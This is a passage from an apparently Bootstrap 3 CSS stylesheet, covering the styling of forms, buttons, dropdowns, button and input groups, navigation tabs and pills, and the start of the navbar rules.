{\n  padding-top: 7px;\n  margin-top: 0;\n  margin-bottom: 0;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n  min-height: 27px;\n}\n.form-horizontal .form-group {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n@media (min-width: 768px) {\n  .form-horizontal .control-label {\n    padding-top: 7px;\n    margin-bottom: 0;\n    text-align: right;\n  }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n  right: 15px;\n}\n@media (min-width: 768px) {\n  .form-horizontal .form-group-lg .control-label {\n    padding-top: 11px;\n    font-size: 18px;\n  }\n}\n@media (min-width: 768px) {\n  .form-horizontal .form-group-sm .control-label {\n    padding-top: 6px;\n    font-size: 12px;\n  }\n}\n.btn {\n  display: inline-block;\n  padding: 6px 12px;\n  margin-bottom: 0;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  -ms-touch-action: manipulation;\n      touch-action: manipulation;\n  cursor: pointer;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  background-image: none;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus,\n.btn.focus,\n.btn:active.focus,\n.btn.active.focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus,\n.btn.focus {\n  color: #333;\n  text-decoration: none;\n}\n.btn:active,\n.btn.active {\n  background-image: none;\n  outline: 0;\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n  cursor: not-allowed;\n  filter: alpha(opacity=65);\n  -webkit-box-shadow: none;\n          box-shadow: none;\n  opacity: .65;\n}\na.btn.disabled,\nfieldset[disabled] a.btn {\n  pointer-events: none;\n}\n.btn-default {\n  color: #333;\n  background-color: #fff;\n  border-color: #ccc;\n}\n.btn-default:focus,\n.btn-default.focus {\n  color: #333;\n  background-color: #e6e6e6;\n  border-color: #8c8c8c;\n}\n.btn-default:hover {\n  color: #333;\n  background-color: #e6e6e6;\n  border-color: #adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n  color: #333;\n  background-color: #e6e6e6;\n  border-color: #adadad;\n}\n.btn-default:active:hover,\n.btn-default.active:hover,\n.open > .dropdown-toggle.btn-default:hover,\n.btn-default:active:focus,\n.btn-default.active:focus,\n.open > .dropdown-toggle.btn-default:focus,\n.btn-default:active.focus,\n.btn-default.active.focus,\n.open > .dropdown-toggle.btn-default.focus {\n  color: #333;\n  background-color: #d4d4d4;\n  border-color: #8c8c8c;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n  background-image: none;\n}\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus {\n  background-color: #fff;\n  border-color: #ccc;\n}\n.btn-default .badge {\n  color: #fff;\n  background-color: #333;\n}\n.btn-primary {\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #2e6da4;\n}\n.btn-primary:focus,\n.btn-primary.focus {\n  color: #fff;\n  background-color: #286090;\n  border-color: #122b40;\n}\n.btn-primary:hover {\n  color: #fff;\n  background-color: #286090;\n  border-color: #204d74;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n  color: #fff;\n  background-color: #286090;\n  border-color: #204d74;\n}\n.btn-primary:active:hover,\n.btn-primary.active:hover,\n.open > .dropdown-toggle.btn-primary:hover,\n.btn-primary:active:focus,\n.btn-primary.active:focus,\n.open > .dropdown-toggle.btn-primary:focus,\n.btn-primary:active.focus,\n.btn-primary.active.focus,\n.open > .dropdown-toggle.btn-primary.focus {\n  color: #fff;\n  background-color: #204d74;\n  border-color: #122b40;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n  background-image: none;\n}\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus {\n  background-color: #337ab7;\n  border-color: #2e6da4;\n}\n.btn-primary .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.btn-success {\n  color: #fff;\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n.btn-success:focus,\n.btn-success.focus {\n  color: #fff;\n  background-color: #449d44;\n  border-color: #255625;\n}\n.btn-success:hover {\n  color: #fff;\n  background-color: #449d44;\n  border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n  color: #fff;\n  background-color: #449d44;\n  border-color: #398439;\n}\n.btn-success:active:hover,\n.btn-success.active:hover,\n.open > .dropdown-toggle.btn-success:hover,\n.btn-success:active:focus,\n.btn-success.active:focus,\n.open > .dropdown-toggle.btn-success:focus,\n.btn-success:active.focus,\n.btn-success.active.focus,\n.open > .dropdown-toggle.btn-success.focus {\n  color: #fff;\n  background-color: #398439;\n  border-color: #255625;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n  background-image: none;\n}\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus {\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n.btn-success .badge {\n  color: #5cb85c;\n  background-color: #fff;\n}\n.btn-info {\n  color: #fff;\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n.btn-info:focus,\n.btn-info.focus {\n  color: #fff;\n  background-color: #31b0d5;\n  border-color: #1b6d85;\n}\n.btn-info:hover {\n  color: #fff;\n  background-color: #31b0d5;\n  border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n  color: #fff;\n  background-color: #31b0d5;\n  border-color: #269abc;\n}\n.btn-info:active:hover,\n.btn-info.active:hover,\n.open > .dropdown-toggle.btn-info:hover,\n.btn-info:active:focus,\n.btn-info.active:focus,\n.open > .dropdown-toggle.btn-info:focus,\n.btn-info:active.focus,\n.btn-info.active.focus,\n.open > .dropdown-toggle.btn-info.focus {\n  color: #fff;\n  background-color: #269abc;\n  border-color: #1b6d85;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n  background-image: none;\n}\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus {\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n.btn-info .badge {\n  color: #5bc0de;\n  background-color: #fff;\n}\n.btn-warning {\n  color: #fff;\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n.btn-warning:focus,\n.btn-warning.focus {\n  color: #fff;\n  background-color: #ec971f;\n  border-color: #985f0d;\n}\n.btn-warning:hover {\n  color: #fff;\n  background-color: #ec971f;\n  border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n  color: #fff;\n  background-color: #ec971f;\n  border-color: #d58512;\n}\n.btn-warning:active:hover,\n.btn-warning.active:hover,\n.open > .dropdown-toggle.btn-warning:hover,\n.btn-warning:active:focus,\n.btn-warning.active:focus,\n.open > .dropdown-toggle.btn-warning:focus,\n.btn-warning:active.focus,\n.btn-warning.active.focus,\n.open > .dropdown-toggle.btn-warning.focus {\n  color: #fff;\n  background-color: #d58512;\n  border-color: #985f0d;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n  background-image: none;\n}\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus {\n  background-color: #f0ad4e;\n  border-color: #eea236;\n}\n.btn-warning .badge {\n  color: #f0ad4e;\n  background-color: #fff;\n}\n.btn-danger {\n  color: #fff;\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n.btn-danger:focus,\n.btn-danger.focus {\n  color: #fff;\n  background-color: #c9302c;\n  border-color: #761c19;\n}\n.btn-danger:hover {\n  color: #fff;\n  background-color: #c9302c;\n  border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n  color: #fff;\n  background-color: #c9302c;\n  border-color: #ac2925;\n}\n.btn-danger:active:hover,\n.btn-danger.active:hover,\n.open > .dropdown-toggle.btn-danger:hover,\n.btn-danger:active:focus,\n.btn-danger.active:focus,\n.open > .dropdown-toggle.btn-danger:focus,\n.btn-danger:active.focus,\n.btn-danger.active.focus,\n.open > .dropdown-toggle.btn-danger.focus {\n  color: #fff;\n  background-color: #ac2925;\n  border-color: #761c19;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n  background-image: none;\n}\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus {\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n.btn-danger .badge {\n  color: #d9534f;\n  background-color: #fff;\n}\n.btn-link {\n  font-weight: normal;\n  color: #337ab7;\n  border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link.active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n  background-color: transparent;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n  border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n  color: #23527c;\n  text-decoration: underline;\n  background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n  color: #777;\n  text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n  padding: 1px 5px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.btn-block {\n  display: block;\n  width: 100%;\n}\n.btn-block + .btn-block {\n  margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n.fade {\n  opacity: 0;\n  -webkit-transition: opacity .15s linear;\n       -o-transition: opacity .15s linear;\n          transition: opacity .15s linear;\n}\n.fade.in {\n  opacity: 1;\n}\n.collapse {\n  display: none;\n}\n.collapse.in {\n  display: block;\n}\ntr.collapse.in {\n  display: table-row;\n}\ntbody.collapse.in {\n  display: table-row-group;\n}\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  -webkit-transition-timing-function: ease;\n       -o-transition-timing-function: ease;\n          transition-timing-function: ease;\n  -webkit-transition-duration: .35s;\n       -o-transition-duration: .35s;\n          transition-duration: .35s;\n  -webkit-transition-property: height, visibility;\n       -o-transition-property: height, visibility;\n          transition-property: height, visibility;\n}\n.caret {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 2px;\n  vertical-align: middle;\n  border-top: 4px dashed;\n  border-top: 4px solid \\9;\n  border-right: 4px solid transparent;\n  border-left: 4px solid transparent;\n}\n.dropup,\n.dropdown {\n  position: relative;\n}\n.dropdown-toggle:focus {\n  outline: 0;\n}\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 160px;\n  padding: 5px 0;\n  margin: 2px 0 0;\n  font-size: 14px;\n  text-align: left;\n  list-style: none;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, .15);\n  border-radius: 4px;\n  -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n          box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\n}\n.dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n.dropdown-menu .divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n  display: block;\n  padding: 3px 20px;\n  clear: both;\n  font-weight: normal;\n  line-height: 1.42857143;\n  color: #333;\n  white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n  color: #262626;\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #337ab7;\n  outline: 0;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  color: #777;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n  background-image: none;\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.open > .dropdown-menu {\n  display: block;\n}\n.open > a {\n  outline: 0;\n}\n.dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n.dropdown-menu-left {\n  right: auto;\n  left: 0;\n}\n.dropdown-header {\n  display: block;\n  padding: 3px 20px;\n  font-size: 12px;\n  line-height: 1.42857143;\n  color: #777;\n  white-space: nowrap;\n}\n.dropdown-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 990;\n}\n.pull-right > .dropdown-menu {\n  right: 0;\n  left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n  content: \"\";\n  border-top: 0;\n  border-bottom: 4px dashed;\n  border-bottom: 4px solid \\9;\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-bottom: 2px;\n}\n@media (min-width: 768px) {\n  .navbar-right .dropdown-menu {\n    right: 0;\n    left: auto;\n  }\n  .navbar-right .dropdown-menu-left {\n    right: auto;\n    left: 0;\n  }\n}\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: inline-block;\n  vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n  position: relative;\n  float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n  z-index: 2;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n  margin-left: -1px;\n}\n.btn-toolbar {\n  margin-left: -5px;\n}\n.btn-toolbar .btn,\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n  float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n  margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n  border-radius: 0;\n}\n.btn-group > .btn:first-child {\n  margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group > .btn-group {\n  float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n  outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n  padding-right: 8px;\n  padding-left: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n  padding-right: 12px;\n  padding-left: 12px;\n}\n.btn-group.open .dropdown-toggle {\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n.btn .caret {\n  margin-left: 0;\n}\n.btn-lg .caret {\n  border-width: 5px 5px 0;\n  border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n  border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n  display: block;\n  float: none;\n  width: 100%;\n  max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n  float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n  margin-top: -1px;\n  margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n  border-top-left-radius: 4px;\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.btn-group-justified {\n  display: table;\n  width: 100%;\n  table-layout: fixed;\n  border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n  display: table-cell;\n  float: none;\n  width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n  width: 100%;\n}\n.btn-group-justified > .btn-group .dropdown-menu {\n  left: auto;\n}\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n  position: absolute;\n  clip: rect(0, 0, 0, 0);\n  pointer-events: none;\n}\n.input-group {\n  position: relative;\n  display: table;\n  border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n  float: none;\n  padding-right: 0;\n  padding-left: 0;\n}\n.input-group .form-control {\n  position: relative;\n  z-index: 2;\n  float: left;\n  width: 100%;\n  margin-bottom: 0;\n}\n.input-group .form-control:focus {\n  z-index: 3;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n  height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n  height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n  display: table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n  width: 1%;\n  white-space: nowrap;\n  vertical-align: middle;\n}\n.input-group-addon {\n  padding: 6px 12px;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1;\n  color: #555;\n  text-align: center;\n  background-color: #eee;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n}\n.input-group-addon.input-sm {\n  padding: 5px 10px;\n  font-size: 12px;\n  border-radius: 3px;\n}\n.input-group-addon.input-lg {\n  padding: 10px 16px;\n  font-size: 18px;\n  border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n  margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.input-group-addon:first-child {\n  border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.input-group-addon:last-child {\n  border-left: 0;\n}\n.input-group-btn {\n  position: relative;\n  font-size: 0;\n  white-space: nowrap;\n}\n.input-group-btn > .btn {\n  position: relative;\n}\n.input-group-btn > .btn + .btn {\n  margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n  z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n  margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n  z-index: 2;\n  margin-left: -1px;\n}\n.nav {\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n.nav > li {\n  position: relative;\n  display: block;\n}\n.nav > li > a {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n  text-decoration: none;\n  background-color: #eee;\n}\n.nav > li.disabled > a {\n  color: #777;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n  color: #777;\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n  background-color: #eee;\n  border-color: #337ab7;\n}\n.nav .nav-divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n.nav > li > a > img {\n  max-width: none;\n}\n.nav-tabs {\n  border-bottom: 1px solid #ddd;\n}\n.nav-tabs > li {\n  float: left;\n  margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n  margin-right: 2px;\n  line-height: 1.42857143;\n  border: 1px solid transparent;\n  border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n  border-color: #eee #eee #ddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n  color: #555;\n  cursor: default;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-bottom-color: transparent;\n}\n.nav-tabs.nav-justified {\n  width: 100%;\n  border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n  float: none;\n}\n.nav-tabs.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-tabs.nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n.nav-tabs.nav-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n  border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n  .nav-tabs.nav-justified > li > a {\n    border-bottom: 1px solid #ddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs.nav-justified > .active > a,\n  .nav-tabs.nav-justified > .active > a:hover,\n  .nav-tabs.nav-justified > .active > a:focus {\n    border-bottom-color: #fff;\n  }\n}\n.nav-pills > li {\n  float: left;\n}\n.nav-pills > li > a {\n  border-radius: 4px;\n}\n.nav-pills > li + li {\n  margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n  color: #fff;\n  background-color: #337ab7;\n}\n.nav-stacked > li {\n  float: none;\n}\n.nav-stacked > li + li {\n  margin-top: 2px;\n  margin-left: 0;\n}\n.nav-justified {\n  width: 100%;\n}\n.nav-justified > li {\n  float: none;\n}\n.nav-justified > li > a {\n  margin-bottom: 5px;\n  text-align: center;\n}\n.nav-justified > .dropdown .dropdown-menu {\n  top: auto;\n  left: auto;\n}\n@media (min-width: 768px) {\n  .nav-justified > li {\n    display: table-cell;\n    width: 1%;\n  }\n  .nav-justified > li > a {\n    margin-bottom: 0;\n  }\n}\n.nav-tabs-justified {\n  border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n  margin-right: 0;\n  border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n  border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n  .nav-tabs-justified > li > a {\n    border-bottom: 1px solid #ddd;\n    border-radius: 4px 4px 0 0;\n  }\n  .nav-tabs-justified > .active > a,\n  .nav-tabs-justified > .active > a:hover,\n  .nav-tabs-justified > .active > a:focus {\n    border-bottom-color: #fff;\n  }\n}\n.tab-content > .tab-pane {\n  display: none;\n}\n.tab-content > .active {\n  display: block;\n}\n.nav-tabs .dropdown-menu {\n  margin-top: -1px;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.navbar {\n  position: relative;\n  min-height: 50px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n  .navbar {\n    border-radius: 4px;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-header {\n    float: left;\n  }\n}\n.navbar-collapse {\n  padding-right: 15px;\n  padding-left: 15px;\n  overflow-x: visible;\n  -webkit-overflow-scrolling: touch;\n  border-top: 1px solid transparent;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);\n}\n.navbar-collapse.in {\n  overflow-y: auto;\n}\n@media (min-width: 768px) {\n  .navbar-collapse {\n    width: auto;\n    border-top: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n  .navbar-collapse.collapse {\n    display: block !important;\n    height: auto !important;\n    padding-bottom: 0;\n    overflow: visible !important;\n  }\n  .navbar-collapse.in {\n    overflow-y: visible;\n  }\n  .navbar-fixed-top .navbar-collapse,\n  .navbar-static-top 